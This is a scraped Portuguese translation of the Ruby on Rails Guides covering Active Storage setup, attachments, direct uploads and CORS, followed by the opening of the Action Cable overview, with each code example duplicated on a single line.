storage_access_key: ""
container: ""

azure: service: AzureStorage storage_account_name: "" storage_access_key: "" container: "" Copiar

Adicione a gem azure-storage-blob no seu Gemfile:

gem "azure-storage-blob", require: false

gem "azure-storage-blob", require: false Copiar

2.4 Serviço Google Cloud Storage

Declare um serviço Google Cloud Storage service in config/storage.yml:

google:
service: GCS
credentials: <%= Rails.root.join("path/to/keyfile.json") %>
project: ""
bucket: ""

google: service: GCS credentials: <%= Rails.root.join("path/to/keyfile.json") %> project: "" bucket: "" Copiar

Opcionalmente forneça uma Hash de credenciais em vez de um caminho para o arquivo de chave:

google:
service: GCS
credentials:
type: "service_account"
project_id: ""
private_key_id: <%= Rails.application.credentials.dig(:gcs, :private_key_id) %>
private_key: <%= Rails.application.credentials.dig(:gcs, :private_key).dump %>
client_email: ""
client_id: ""
auth_uri: "https://accounts.google.com/o/oauth2/auth"
token_uri: "https://accounts.google.com/o/oauth2/token"
auth_provider_x509_cert_url: "https://www.googleapis.com/oauth2/v1/certs"
client_x509_cert_url: ""
project: ""
bucket: ""

google: service: GCS credentials: type: "service_account" project_id: "" private_key_id: <%= Rails.application.credentials.dig(:gcs, :private_key_id) %> private_key: <%= Rails.application.credentials.dig(:gcs, :private_key).dump %> client_email: "" client_id: "" auth_uri: "https://accounts.google.com/o/oauth2/auth" token_uri: "https://accounts.google.com/o/oauth2/token" auth_provider_x509_cert_url: "https://www.googleapis.com/oauth2/v1/certs" client_x509_cert_url: "" project: "" bucket: "" Copiar

Adicione a gem google-cloud-storage no seu Gemfile:

gem "google-cloud-storage", "~> 1.11", require: false

gem "google-cloud-storage", "~> 1.11", require: false Copiar

2.5 Serviço Espelho

Você pode manter múltiplos serviços sincronizados definindo um serviço espelho. Quando um arquivo é carregado ou deletado, isso é feito em todos serviços espelhados.

Serviços espelhados podem ser usados para facilitar a migração entre serviços em produção. Você pode começar a espelhar para o novo serviço, copiar os arquivos existentes do antigo serviço para o novo, e então muda para o novo serviço.

O espelhamento não é atômico. É possível que um upload seja bem-sucedido no serviço principal e falha em qualquer um dos serviços subordinados. Antes de ir totalmente para um novo serviço, verifique se todos os arquivos foram copiados.

Defina cada um dos serviços que você gostaria de usar conforme descrito acima e faça referência para um serviço espelhado.

s3_west_coast:
service: S3
access_key_id: ""
secret_access_key: ""
region: ""
bucket: ""

s3_east_coast:
service: S3
access_key_id: ""
secret_access_key: ""
region: ""
bucket: ""

production:
service: Mirror
primary: s3_east_coast
mirrors:
- s3_west_coast

s3_west_coast: service: S3 access_key_id: "" secret_access_key: "" region: "" bucket: "" s3_east_coast: service: S3 access_key_id: "" secret_access_key: "" region: "" bucket: "" production: service: Mirror primary: s3_east_coast mirrors: - s3_west_coast Copiar

Embora todos os serviços secundários recebam uploads, os downloads são sempre tratados pelo serviço principal.

Os serviços de espelho são compatíveis com uploads diretos. Novos arquivos são diretamente carregados para o serviço principal. Quando um arquivo enviado é anexado a um registro, um job em segundo plano é enfileirado para copiá-lo para os serviços secundários.

2.6 Acesso público

Por padrão, o Active Storage assume acesso privado aos serviços. Isso significa gerar URLs assinadas e de uso único para os blobs. Se você preferir tornar os blobs acessíveis publicamente, especifique public: true em config/storage.yml na sua aplicação:

gcs: &gcs
service: GCS
project: ""

private_gcs:
<<: *gcs
credentials: <%= Rails.root.join("path/to/private_keyfile.json") %>
bucket: ""

public_gcs:
<<: *gcs
credentials: <%= Rails.root.join("path/to/public_keyfile.json") %>
bucket: ""
public: true

gcs: &gcs service: GCS project: "" private_gcs: <<: *gcs credentials: <%= Rails.root.join("path/to/private_keyfile.json") %> bucket: "" public_gcs: <<: *gcs credentials: <%= Rails.root.join("path/to/public_keyfile.json") %> bucket: "" public: true Copiar

Tenha certeza que seus buckets estão configurados para acesso público. Veja a documentação sobre como ativar permissão de leitura pública para os serviços Amazon S3, Google Cloud Storage, e Microsoft Azure.

Ao converter uma aplicação existente para usar public: true, certifique-se de atualizar cada arquivo individual no bucket para ser lido publicamente antes de alternar.

3 Anexar Arquivos a Registros

3.1 has_one_attached

O macro has_one_attached configura um mapeamento um-para-um entre registros e arquivos. Cada registro pode ter um arquivo anexado a ele.

Por exemplo, imagine que sua aplicação tenha um model User. Se você quiser que cada usuário tenha uma avatar, defina o model User assim:

class User < ApplicationRecord
has_one_attached :avatar
end

class User < ApplicationRecord has_one_attached :avatar end Copiar

Você pode criar um usuário com um avatar:

<%= form.file_field :avatar %>

<%= form.file_field :avatar %> Copiar

class SignupController < ApplicationController
def create
user = User.create!(user_params)
session[:user_id] = user.id
redirect_to root_path
end

private
def user_params
params.require(:user).permit(:email_address, :password, :avatar)
end
end

class SignupController < ApplicationController def create user = User.create!(user_params) session[:user_id] = user.id redirect_to root_path end private def user_params params.require(:user).permit(:email_address, :password, :avatar) end end Copiar

Chamar avatar.attach para anexar um avatar a um usuário existente:

user.avatar.attach(params[:avatar])

user.avatar.attach(params[:avatar]) Copiar

Chamar avatar.attached? para determinar se um usuário em particular tem um avatar:

user.avatar.attached?

user.avatar.attached? Copiar

Em alguns casos, você pode querer substituir um serviço padrão para um anexo específico. Você pode configurar serviços específicos por anexo usando a opção service:

class User < ApplicationRecord
has_one_attached :avatar, service: :s3
end

class User < ApplicationRecord has_one_attached :avatar, service: :s3 end Copiar

3.2 has_many_attached

O macro has_many_attached configura um relacionamento um-para-muitos entre os registros e arquivos. Cada registro pode ter muitos arquivos anexados a ele.

Por exemplo, imagine que sua aplicação tem um model Message. Se você quiser que cada mensagem tenha muitas imagens, defina o model Message assim:

class Message < ApplicationRecord
has_many_attached :images
end

class Message < ApplicationRecord has_many_attached :images end Copiar

Você pode criar uma mensagem com images:

class MessagesController < ApplicationController
def create
message = Message.create!(message_params)
redirect_to message
end

private
def message_params
params.require(:message).permit(:title, :content, images: [])
end
end

class MessagesController < ApplicationController def create message = Message.create!(message_params) redirect_to message end private def message_params params.require(:message).permit(:title, :content, images: []) end end Copiar

Chamar images.attach para adicionar novas imagens para uma mensagem existente:

@message.images.attach(params[:images])

@message.images.attach(params[:images]) Copiar

Chamar images.attached? para determinar se uma mensagem em particular alguma imagem:

@message.images.attached?

@message.images.attached? Copiar

Substituir o serviço padrão é feito da mesma maneira que has_one_attached, usando a opção service:

class Message < ApplicationRecord
has_many_attached :images, service: :s3
end

class Message < ApplicationRecord has_many_attached :images, service: :s3 end Copiar

3.3 Anexando Objetos File/IO

Às vezes você precisa anexar um arquivo que não chega por meio de uma requisição HTTP. Por exemplo, você pode querer anexar um arquivo que você gerou no disco ou baixou de uma URL enviada pelo usuário. Você também pode querer anexar um arquivo de fixação em um model de test. Para fazer isso, forneça uma Hash contendo pelo menos um objeto open IO e um filename:

@message.image.attach(io: File.open('/path/to/file'), filename: 'file.pdf')

@message.image.attach(io: File.open('/path/to/file'), filename: 'file.pdf') Copiar

Quando possível, forneça um tipo de conteúdo também. O Active Storage tenta determinar o tipo de conteúdo de um arquivo a partir de seus dados. Depende do tipo de conteúdo que você fornece se não for possível.

@message.image.attach(io: File.open('/path/to/file'), filename: 'file.pdf', content_type: 'application/pdf')

@message.image.attach(io: File.open('/path/to/file'), filename: 'file.pdf', content_type: 'application/pdf') Copiar

Você pode ignorar a inferência do tipo de conteúdo a partir dos dados passando identify: false junto com o content_type.

@message.image.attach(
io: File.open('/path/to/file'),
filename: 'file.pdf',
content_type: 'application/pdf',
identify: false
)

@message.image.attach( io: File.open('/path/to/file'), filename: 'file.pdf', content_type: 'application/pdf', identify: false ) Copiar

Se você não fornecer um tipo de conteúdo e o Active Storage não puder determinar o tipo de conteúdo do arquivo automaticamente, o padrão é application/octet-stream.

4 Removendo arquivos

Para remover um arquivo anexado de um model, use o método purge no anexo. Se a aplicação está configurada para usar Active Job, a remoção pode ser feita de maneira assíncrona chamando purge_later. Purge remove o blob (O arquivo em sua versão binaria salvo no banco de dados) e o arquivo do seu serviço de armazenamento.

# Maneira usada para remover um avatar e seus arquivos de maneira síncrona.
user.avatar.purge

# Maneira usada para remover um avatar e seus arquivos de maneira assíncrona.
user.avatar.purge_later

# Maneira usada para remover um avatar e seus arquivos de maneira síncrona. user.avatar.purge # Maneira usada para remover um avatar e seus arquivos de maneira assíncrona. user.avatar.purge_later Copiar

5 Conectando (Linking) arquivos

Cria uma URL permanente da sua aplicação para o blob. Quando acessado, o cliente é redirecionado para a rota (endpoint) correta. Está indireção desacopla a URL do serviço da atual, e permite, por exemplo, espelhar anexos em diferentes serviços de grande disponibilidade. O redirecionamento tem um tempo de expiração de 5 minutos.

url_for(user.avatar)

url_for(user.avatar) Copiar

Para criar um link para baixar o arquivo use o seguinte helper: rails_blob_{path|url}. Usando esse helper permite que você configure a disposição (disposition) de como deseja apresentar:

rails_blob_path(user.avatar, disposition: "attachment")

rails_blob_path(user.avatar, disposition: "attachment") Copiar

Para evitar ataques XSS, ActiveStorage força o cabeçalho Content-Disposition para "anexos" para alguns tipos de arquivo. Para alterar este comportamento, consulte as opções de configuração disponíveis em Configurando aplicações Rails.

Se você precisar criar um link fora do escopo do controller ou view (Um serviço que execute tarefas assíncronas, Cronjob etc), você pode acessar o helper rails_blob_path desta maneira:

Rails.application.routes.url_helpers.rails_blob_path(user.avatar, only_path: true)

Rails.application.routes.url_helpers.rails_blob_path(user.avatar, only_path: true) Copiar

6 Baixando arquivos

Algumas vezes você vai precisar processar um blob depois dele ter sido uploaded (Transferir um arquivo da maquina do cliente para o servidor da sua aplicação) para, por exemplo, converte-lo para um formato diferente. Use o download para ler o conteúdo binário do blob na memória:

binary = user.avatar.download

binary = user.avatar.download Copiar

Caso deseje baixar o blob para um arquivo no disco para um programa externo (Um antivírus, por exemplo) possa operar nele. Use o método open para baixar o blob para um arquivo temporário no disco:

message.video.open do |file|
system '/caminho/para/o/antivirus', file.path
# ...
end

message.video.open do |file| system '/caminho/para/o/antivirus', file.path # ... end Copiar

É importante saber que o arquivo ainda não está disponível no callback after_create, mas apenas no after_create_commit.

7 Analisando arquivos

O Active Storage analisa arquivos assim que eles são enviados através do enfileiramento de um job no Active Job. Arquivos analisados armazenarão informações adicionais no hash de metadados, incluindo analyzed: true. Você pode verificar se um blob foi analisado chamando analyzed? nele.

A análise de imagens fornece os atributos width e height. A análise de vídeos fornece ambos citados anteriormente, assim como duration, angle e display_aspect_ratio.

A análise necessita da gem mini_magick. A análise de vídeos também necessita da biblioteca FFmpeg, que você deve incluir separadamente.

8 Transformando Imagens

Para ativar variações, adicione a gem image_processing no seu Gemfile:

gem 'image_processing'

gem 'image_processing' Copiar

Para criar uma variação de uma imagem, chame variant no Blob. Você pode passar qualquer transformação para o método suportado pelo processador. O processador padrão para Active Storage é o MiniMagick, mas você também pode usar o Vips.

Quando o navegador acessa a URL da variação, o Active Storage vai lentamente transformar o _blob+ original para o formato especificado e redirecionar para sua nova localização de serviço.

<%= image_tag user.avatar.variant(resize_to_limit: [100, 100]) %>

<%= image_tag user.avatar.variant(resize_to_limit: [100, 100]) %> Copiar

Para trocar para o processador Vips, você teria que adicionar o seguinte trecho no config/application.rb:

# Use o Vips para processar variações.
config.active_storage.variant_processor = :vips

# Use o Vips para processar variações. config.active_storage.variant_processor = :vips Copiar

9 Pré-visualização de arquivos

Alguns arquivos que não são imagens podem ser pré-visualizados: isto é, eles podem ser apresentados como imagens. Por exemplo, um arquivo de vídeo pode ser pré-visualizado através da extração de seu primeiro frame. O Active Storage por padrão já oferece suporte para a pré-visualização de vídeos e documentos PDF. Para criar um link e gerar um preview use o método preview:

<ul>
<% @message.files.each do |file| %>
<li>
<%= image_tag file.preview(resize_to_limit: [100, 100]) %>
</li>
<% end %>
</ul>

<ul> <% @message.files.each do |file| %> <li> <%= image_tag file.preview(resize_to_limit: [100, 100]) %> </li> <% end %> </ul> Copiar

Extrair pré-visualizações necessita de aplicações de terceiros, FFmpeg v3.4+ para vídeo e muPDF para PDFs, e no macOS também são necessários XQuartz e Poppler. Estas bibliotecas não são fornecidas pelo Rails. Você deve instalá-las para poder utilizar as pré-visualizações embutidas no Active Storage. Antes de instalar e utilizar o software de terceiros, certifique-se de entender as implicações da licença para essas ações.

10 Uploads Diretos

O Active Storage com a sua biblioteca JavaScript incluída suporta uploads direto do cliente (front-end) para a nuvem.

10.1 Uso

1. Inclua o activestorage.js na sua aplicação. Usando o asset pipeline:

//= require activestorage

//= require activestorage Copiar
Usando o pacote npm:

import * as ActiveStorage from "@rails/activestorage"
ActiveStorage.start()

import * as ActiveStorage from "@rails/activestorage" ActiveStorage.start() Copiar

2. Adicione direct_upload: true no seu file_field.

<%= form.file_field :attachments, multiple: true, direct_upload: true %>

<%= form.file_field :attachments, multiple: true, direct_upload: true %> Copiar
Se você não está usando um FormBuilder adicione o direct_upload: true diretamente:

<input type=file data-direct-upload-url="<%= rails_direct_uploads_url %>" />

<input type=file data-direct-upload-url="<%= rails_direct_uploads_url %>" /> Copiar

3. Configure o serviço de armazenamento de terceiros do CORS para permitir requisições de upload direto.

4. E é isso! Os uploads começam após o envio do formulário.

10.2 Configuração do Cross-Origin Resource Sharing (CORS)

Para que o upload direto a partir de terceiros funcione você vai precisar configurar o seu serviço de nuvem para aceitar requisições de múltiplas origens. Consulte a documentação sobre CORS do seu serviço:

- S3

- Google Cloud Storage

- Azure Storage

Tome cuidado em permitir:

- Todas as origens pela qual a sua aplicação é acessada.

- O método de requisição PUT

- Os seguintes cabeçalhos de requisição:

- Origin

- Content-Type

- Content-MD5

- Content-Disposition (exceto para o Azure Storage)

- x-ms-blob-content-disposition (somente para o Azure Storage)

- x-ms-blob-type (somente para o Azure Storage)

Se você for utilizar seu disco como armazenamento e ele compartilhar a mesma origem da sua aplicação não é necessário configurar o CORS.

10.2.1 Exemplo: Configuração do CORS para o S3

[
{
"AllowedHeaders": [
"*"
],
"AllowedMethods": [
"PUT"
],
"AllowedOrigins": [
"https://www.example.com"
],
"ExposeHeaders": [
"Origin",
"Content-Type",
"Content-MD5",
"Content-Disposition"
],
"MaxAgeSeconds": 3600
}
]

[ { "AllowedHeaders": [ "*" ], "AllowedMethods": [ "PUT" ], "AllowedOrigins": [ "https://www.example.com" ], "ExposeHeaders": [ "Origin", "Content-Type", "Content-MD5", "Content-Disposition" ], "MaxAgeSeconds": 3600 } ] Copiar

10.2.2 Exemplo: Configuração do CORS para o Google Cloud Storage

[
{
"origin": ["https://www.example.com"],
"method": ["PUT"],
"responseHeader": ["Origin", "Content-Type", "Content-MD5", "Content-Disposition"],
"maxAgeSeconds": 3600
}
]

[ { "origin": ["https://www.example.com"], "method": ["PUT"], "responseHeader": ["Origin", "Content-Type", "Content-MD5", "Content-Disposition"], "maxAgeSeconds": 3600 } ] Copiar

10.2.3 Exemplo: Configuração do CORS para o Azure Storage

<Cors>
<CorsRule>
<AllowedOrigins>https://www.example.com</AllowedOrigins>
<AllowedMethods>PUT</AllowedMethods>
<AllowedHeaders>Origin, Content-Type, Content-MD5, x-ms-blob-content-disposition, x-ms-blob-type</AllowedHeaders>
<MaxAgeInSeconds>3600</MaxAgeInSeconds>
</CorsRule>
<Cors>

<Cors> <CorsRule> <AllowedOrigins>https://www.example.com</AllowedOrigins> <AllowedMethods>PUT</AllowedMethods> <AllowedHeaders>Origin, Content-Type, Content-MD5, x-ms-blob-content-disposition, x-ms-blob-type</AllowedHeaders> <MaxAgeInSeconds>3600</MaxAgeInSeconds> </CorsRule> <Cors> Copiar

10.3 Eventos de upload do JavaScript

Nome do evento

Alvo do evento

Dados do evento (event.detail)

Descrição

direct-uploads:start

<form>

Nenhum

Um formulário contendo campos para upload direto foi submetido.

direct-upload:initialize

<input>

{id, file}

Disparado para cada arquivo após a submissão do formulário.

direct-upload:start

<input>

{id, file}

O upload direto está iniciando.

direct-upload:before-blob-request

<input>

{id, file, xhr}

Antes de fazer uma requisição de upload direto de metadados para a sua aplicação.

direct-upload:before-storage-request

<input>

{id, file, xhr}

Antes de fazer uma requisição para armazenar um arquivo.

direct-upload:progress

<input>

{id, file, progress}

O progresso da requisição para armazenar um arquivo.

direct-upload:error

<input>

{id, file, error}

Um erro ocorreu. Um alert deve ser exibido, a menos que esse evento seja cancelado.

direct-upload:end

<input>

{id, file}

Um upload direto foi finalizado.

direct-uploads:end

<form>

Nenhum

Todos os uploads diretos foram finalizados.

10.4 Exemplo

Você pode usar esses eventos para exibir o progresso de um upload.

Para mostrar os arquivos enviados em um formulário:

// direct_uploads.js

addEventListener("direct-upload:initialize", event => {
const { target, detail } = event
const { id, file } = detail
target.insertAdjacentHTML("beforebegin", `
<div id="direct-upload-${id}" class="direct-upload direct-upload--pending">
<div id="direct-upload-progress-${id}" class="direct-upload__progress" style="width: 0%"></div>
<span class="direct-upload__filename"></span>
</div>
`)
target.previousElementSibling.querySelector(`.direct-upload__filename`).textContent = file.name
})

addEventListener("direct-upload:start", event => {
const { id } = event.detail
const element = document.getElementById(`direct-upload-${id}`)
element.classList.remove("direct-upload--pending")
})

addEventListener("direct-upload:progress", event => {
const { id, progress } = event.detail
const progressElement = document.getElementById(`direct-upload-progress-${id}`)
progressElement.style.width = `${progress}%`
})

addEventListener("direct-upload:error", event => {
event.preventDefault()
const { id, error } = event.detail
const element = document.getElementById(`direct-upload-${id}`)
element.classList.add("direct-upload--error")
element.setAttribute("title", error)
})

addEventListener("direct-upload:end", event => {
const { id } = event.detail
const element = document.getElementById(`direct-upload-${id}`)
element.classList.add("direct-upload--complete")
})

// direct_uploads.js addEventListener("direct-upload:initialize", event => { const { target, detail } = event const { id, file } = detail target.insertAdjacentHTML("beforebegin", ` <div id="direct-upload-${id}" class="direct-upload direct-upload--pending"> <div id="direct-upload-progress-${id}" class="direct-upload__progress" style="width: 0%"></div> <span class="direct-upload__filename"></span> </div> `) target.previousElementSibling.querySelector(`.direct-upload__filename`).textContent = file.name }) addEventListener("direct-upload:start", event => { const { id } = event.detail const element = document.getElementById(`direct-upload-${id}`) element.classList.remove("direct-upload--pending") }) addEventListener("direct-upload:progress", event => { const { id, progress } = event.detail const progressElement = document.getElementById(`direct-upload-progress-${id}`) progressElement.style.width = `${progress}%` }) addEventListener("direct-upload:error", event => { event.preventDefault() const { id, error } = event.detail const element = document.getElementById(`direct-upload-${id}`) element.classList.add("direct-upload--error") element.setAttribute("title", error) }) addEventListener("direct-upload:end", event => { const { id } = event.detail const element = document.getElementById(`direct-upload-${id}`) element.classList.add("direct-upload--complete") }) Copiar

Adicionar estilos:

/* direct_uploads.css */

.direct-upload {
display: inline-block;
position: relative;
padding: 2px 4px;
margin: 0 3px 3px 0;
border: 1px solid rgba(0, 0, 0, 0.3);
border-radius: 3px;
font-size: 11px;
line-height: 13px;
}

.direct-upload--pending {
opacity: 0.6;
}

.direct-upload__progress {
position: absolute;
top: 0;
left: 0;
bottom: 0;
opacity: 0.2;
background: #0076ff;
transition: width 120ms ease-out, opacity 60ms 60ms ease-in;
transform: translate3d(0, 0, 0);
}

.direct-upload--complete .direct-upload__progress {
opacity: 0.4;
}

.direct-upload--error {
border-color: red;
}

input[type=file][data-direct-upload-url][disabled] {
display: none;
}

/* direct_uploads.css */ .direct-upload { display: inline-block; position: relative; padding: 2px 4px; margin: 0 3px 3px 0; border: 1px solid rgba(0, 0, 0, 0.3); border-radius: 3px; font-size: 11px; line-height: 13px; } .direct-upload--pending { opacity: 0.6; } .direct-upload__progress { position: absolute; top: 0; left: 0; bottom: 0; opacity: 0.2; background: #0076ff; transition: width 120ms ease-out, opacity 60ms 60ms ease-in; transform: translate3d(0, 0, 0); } .direct-upload--complete .direct-upload__progress { opacity: 0.4; } .direct-upload--error { border-color: red; } input[type=file][data-direct-upload-url][disabled] { display: none; } Copiar

10.5 Integrando com Bibliotecas ou Frameworks

Se você quer utilizar a funcionalidade de upload direto a partir de um framework JavaScript, ou se você quiser integrar uma funcionalidade de drag and drop (arrastar e soltar), você poderá utilizar a classe DirectUpload para fazer a integração. Ao receber um arquivo da sua biblioteca de escolha, instancie um DirectUpload e chame o seu método de criação. O método de criação recebe uma callback para ser executada quando o upload é concluído.

import { DirectUpload } from "@rails/activestorage"

const input = document.querySelector('input[type=file]')

// Vincular ao arquivo solto - use o onDrop em um elemento pai ou use uma
//  biblioteca com o Dropzone
const onDrop = (event) => {
event.preventDefault()
const files = event.dataTransfer.files;
Array.from(files).forEach(file => uploadFile(file))
}

// Vincular à seleção de arquivo normal
input.addEventListener('change', (event) => {
Array.from(input.files).forEach(file => uploadFile(file))
// você pode limpar os arquivos selecionados da entrada
input.value = null
})

const uploadFile = (file) => {
// seu formulário precisa do file_field direct_upload: true, que
//  fornece o data-direct-upload-url
const url = input.dataset.directUploadUrl
const upload = new DirectUpload(file, url)

upload.create((error, blob) => {
if (error) {
// Trata o erro
} else {
// Adiciona uma entrada oculta apropriadamente nomeada ao formulário com o
//  valor blob.signed_id, assim os blob ids podem ser
//  transmitidos no fluxo normal de upload
const hiddenField = document.createElement('input')
hiddenField.setAttribute("type", "hidden");
hiddenField.setAttribute("value", blob.signed_id);
hiddenField.name = input.name
document.querySelector('form').appendChild(hiddenField)
}
})
}

import { DirectUpload } from "@rails/activestorage" const input = document.querySelector('input[type=file]') // Vincular ao arquivo solto - use o onDrop em um elemento pai ou use uma // biblioteca com o Dropzone const onDrop = (event) => { event.preventDefault() const files = event.dataTransfer.files; Array.from(files).forEach(file => uploadFile(file)) } // Vincular à seleção de arquivo normal input.addEventListener('change', (event) => { Array.from(input.files).forEach(file => uploadFile(file)) // você pode limpar os arquivos selecionados da entrada input.value = null }) const uploadFile = (file) => { // seu formulário precisa do file_field direct_upload: true, que // fornece o data-direct-upload-url const url = input.dataset.directUploadUrl const upload = new DirectUpload(file, url) upload.create((error, blob) => { if (error) { // Trata o erro } else { // Adiciona uma entrada oculta apropriadamente nomeada ao formulário com o // valor blob.signed_id, assim os blob ids podem ser // transmitidos no fluxo normal de upload const hiddenField = document.createElement('input') hiddenField.setAttribute("type", "hidden"); hiddenField.setAttribute("value", blob.signed_id); hiddenField.name = input.name document.querySelector('form').appendChild(hiddenField) } }) } Copiar

Se você precisa acompanhar o progresso de upload do arquivo, você pode passar um terceiro parâmetro para o construtor do DirectUpload. Durante o upload, o DirectUpload irá chamar o método directUploadWillStoreFileWithXHR do objeto. Você poderá então vincular o seu manipulador de progresso no XHR.

import { DirectUpload } from "@rails/activestorage"

class Uploader {
constructor(file, url) {
this.upload = new DirectUpload(this.file, this.url, this)
}

upload(file) {
this.upload.create((error, blob) => {
if (error) {
// Trata o erro
} else {
// Adiciona uma entrada oculta apropriadamente nomeada no formulário
// com o valor blob.signed_id
}
})
}

directUploadWillStoreFileWithXHR(request) {
request.upload.addEventListener("progress",
event => this.directUploadDidProgress(event))
}

directUploadDidProgress(event) {
// Usa o event.loaded e o event.total para atualizar a barra de progresso
}
}

import { DirectUpload } from "@rails/activestorage" class Uploader { constructor(file, url) { this.upload = new DirectUpload(this.file, this.url, this) } upload(file) { this.upload.create((error, blob) => { if (error) { // Trata o erro } else { // Adiciona uma entrada oculta apropriadamente nomeada no formulário // com o valor blob.signed_id } }) } directUploadWillStoreFileWithXHR(request) { request.upload.addEventListener("progress", event => this.directUploadDidProgress(event)) } directUploadDidProgress(event) { // Usa o event.loaded e o event.total para atualizar a barra de progresso } } Copiar

11 Discarding Files Stored During System Tests

System tests clean up test data by rolling back a transaction. Because destroy is never called on an object, the attached files are never cleaned up. If you want to clear the files, you can do it in an after_teardown callback. Doing it here ensures that all connections created during the test are complete and you won't receive an error from Active Storage saying it can't find a file.

class ApplicationSystemTestCase < ActionDispatch::SystemTestCase
driven_by :selenium, using: :chrome, screen_size: [1400, 1400]

def remove_uploaded_files
FileUtils.rm_rf("#{Rails.root}/storage_test")
end

def after_teardown
super
remove_uploaded_files
end
end

class ApplicationSystemTestCase < ActionDispatch::SystemTestCase driven_by :selenium, using: :chrome, screen_size: [1400, 1400] def remove_uploaded_files FileUtils.rm_rf("#{Rails.root}/storage_test") end def after_teardown super remove_uploaded_files end end Copiar

If your system tests verify the deletion of a model with attachments and you're using Active Job, set your test environment to use the inline queue adapter so the purge job is executed immediately rather at an unknown time in the future.

You may also want to use a separate service definition for the test environment so your tests don't delete the files you create during development.

# Use inline job processing to make things happen immediately
config.active_job.queue_adapter = :inline

# Separate file storage in the test environment
config.active_storage.service = :local_test

# Use inline job processing to make things happen immediately config.active_job.queue_adapter = :inline # Separate file storage in the test environment config.active_storage.service = :local_test Copiar

12 Discarding Files Stored During Integration Tests

Similarly to System Tests, files uploaded during Integration Tests will not be automatically cleaned up. If you want to clear the files, you can do it in an after_teardown callback. Doing it here ensures that all connections created during the test are complete and you won't receive an error from Active Storage saying it can't find a file.

module RemoveUploadedFiles
def after_teardown
super
remove_uploaded_files
end

private

def remove_uploaded_files
FileUtils.rm_rf(Rails.root.join('tmp', 'storage'))
end
end

module ActionDispatch
class IntegrationTest
prepend RemoveUploadedFiles
end
end

module RemoveUploadedFiles def after_teardown super remove_uploaded_files end private def remove_uploaded_files FileUtils.rm_rf(Rails.root.join('tmp', 'storage')) end end module ActionDispatch class IntegrationTest prepend RemoveUploadedFiles end end Copiar

13 Implementing Support for Other Cloud Services

If you need to support a cloud service other than these, you will need to implement the Service. Each service extends ActiveStorage::Service by implementing the methods necessary to upload and download files to the cloud.

Action Cable Overview — Ruby on Rails...

1 O que é o Action Cable?

O Action Cable integra-se perfeitamente WebSockets com o resto da sua aplicação Rails. Permite que recursos em tempo real sejam escritos em Ruby no mesmo estilo e forma que o resto de sua aplicação Rails, ao mesmo tempo em que possui desempenho e escabilidade. Isso é uma oferta full-stack que fornece um framework Javascript do lado do cliente (client-side) e um framework Ruby do lado do servidor (server-side). Você tem acesso ao seu model de domínio completo escrito com o Active Record ou o ORM de sua escolha.

2 Terminology

Action Cable uses WebSockets instead of the HTTP request-response protocol. Both Action Cable and WebSockets introduce some less familiar terminology:

2.1 Connections

Connections form the foundation of the client-server relationship. A single Action Cable server can handle multiple connection instances. It has one connection instance per WebSocket connection. A single user may have multiple WebSockets open to your application if they use multiple browser tabs or devices.

2.2 Consumers

The client of a WebSocket connection is called the consumer. In Action Cable the consumer is created by the client-side JavaScript framework.

2.3 Channels

Each consumer can in turn subscribe to multiple channels. Each channel encapsulates a logical unit of work, similar to what a controller does in a regular MVC setup. For example, you could have a ChatChannel and an AppearancesChannel, and a consumer could be subscribed to either or to both of these channels. At the very least, a consumer should be subscribed to one channel.

2.4 Subscribers

When the consumer is subscribed to a channel, they act as a subscriber. The connection between the subscriber and the channel is, surprise-surprise, called a subscription. A consumer can act as a subscriber to a given channel any number of times. For example, a consumer could subscribe to multiple chat rooms at the same time. (And remember that a physical user may have multiple consumers, one per tab/device open to your connection).

3 _Pub/Sub

Pub/Sub, ou Publish-Subscribe, refere-se a um paradigma de fila de mensageria o qual os remetentes de uma informação (publishers) enviam dados à uma classe abstrata de destinatários (subscribers) sem especificar um destinatário individual. Action Cable utiliza essa abordagem para manter a comunicação entre o servidor e diversos clientes.

3.1 Broadcastings

Uma transmissão (broadcasting) é um link pub/sub em que qualquer coisa transmitida pela emissora é enviada diretamente para os assinantes (subscribers) do canal que estão transmitindo essa transmissão. Cada canal pode transmitir zero ou mais transmissões.

4 Componentes Server-Side

4.1 Connections

Para cada WebSocket aceito pelo servidor, um objeto connection é instanciado. Esse objeto se torna o pai de todos os channel subscriptions que são criados dali pra frente. A connection em si não lida com nenhuma lógica específica da aplicação além da autenticação e autorização. O cliente de um WebSocket connection é chamado de consumer. Um usuário individual criará um par de consumer-connection para cada aba do navegador, janela ou dispositivo que ele tiver aberto.

Connections são instâncias de ApplicationCable::Connection, que estendem de ActionCable::Connection::Base. Em ApplicationCable::Connection, você autoriza a connection recebida e procede para estabelecê-la, caso o usuário possa ser identificado.

4.1.1 Configuração de uma Connection

# app/channels/application_cable/connection.rb
module ApplicationCable
class Connection < ActionCable::Connection::Base
identified_by :current_user

def connect
self.current_user = find_verified_user
end

private
def find_verified_user
if verified_user = User.find_by(id: cookies.encrypted[:user_id])
verified_user
else
reject_unauthorized_connection
end
end
end
end

# app/channels/application_cable/connection.rb module ApplicationCable class Connection < ActionCable::Connection::Base identified_by :current_user def connect self.current_user = find_verified_user end private def find_verified_user if verified_user = User.find_by(id: cookies.encrypted[:user_id]) verified_user else reject_unauthorized_connection end end end end Copiar

Aqui, identified_by designa um identificador de connection que pode ser usado para encontrar uma connection específica mais tarde. Note que qualquer coisa marcada como um identificador criará automaticamente um delegate pelo mesmo nome em qualquer instância de channel criada a partir da connection.

Esse exemplo se baseia no fato de que você já lidou a autenticação do usuário em algum outro lugar na sua aplicação e essa autenticação bem sucedida definiu um cookie criptografado com o ID do usuário.

O cookie é então enviado automaticamente para a instância da connection quando há a tentativa de criar uma nova connection, e você o usa para definir o current_user. Ao identificar a connection para o mesmo usuário, você também garante que você pode retornar todas as connections em aberto para um usuário específico (e potencialmente desconectá-los, caso o usuário seja deletado ou desautorizado).

Se a sua abordagem de autenticação inclui o uso de uma sessão (session), você usa o armazenamento com cookies para a sessão, seu cookie de sessão é denominado _session e a chave de ID do usuário é user_id você pode usar esta abordagem:

verified_user = User.find_by(id: cookies.encrypted['_session']['user_id'])

verified_user = User.find_by(id: cookies.encrypted['_session']['user_id']) Copiar

4.1.2 Lidando com Exceções (Exceptions)

Por padrão, exceções não tratadas são capturadas e registradas no logger do Rails. Se você gostaria de interceptar globalmente essas exceções e relatá-las a um serviço externo de rastreamento de bugs, por exemplo, você pode fazer isso com rescue_from:

# app/channels/application_cable/connection.rb
module ApplicationCable
class Connection < ActionCable::Connection::Base
rescue_from StandardError, with: :report_error

private

def report_error(e)
SomeExternalBugtrackingService.notify(e)
end
end
end

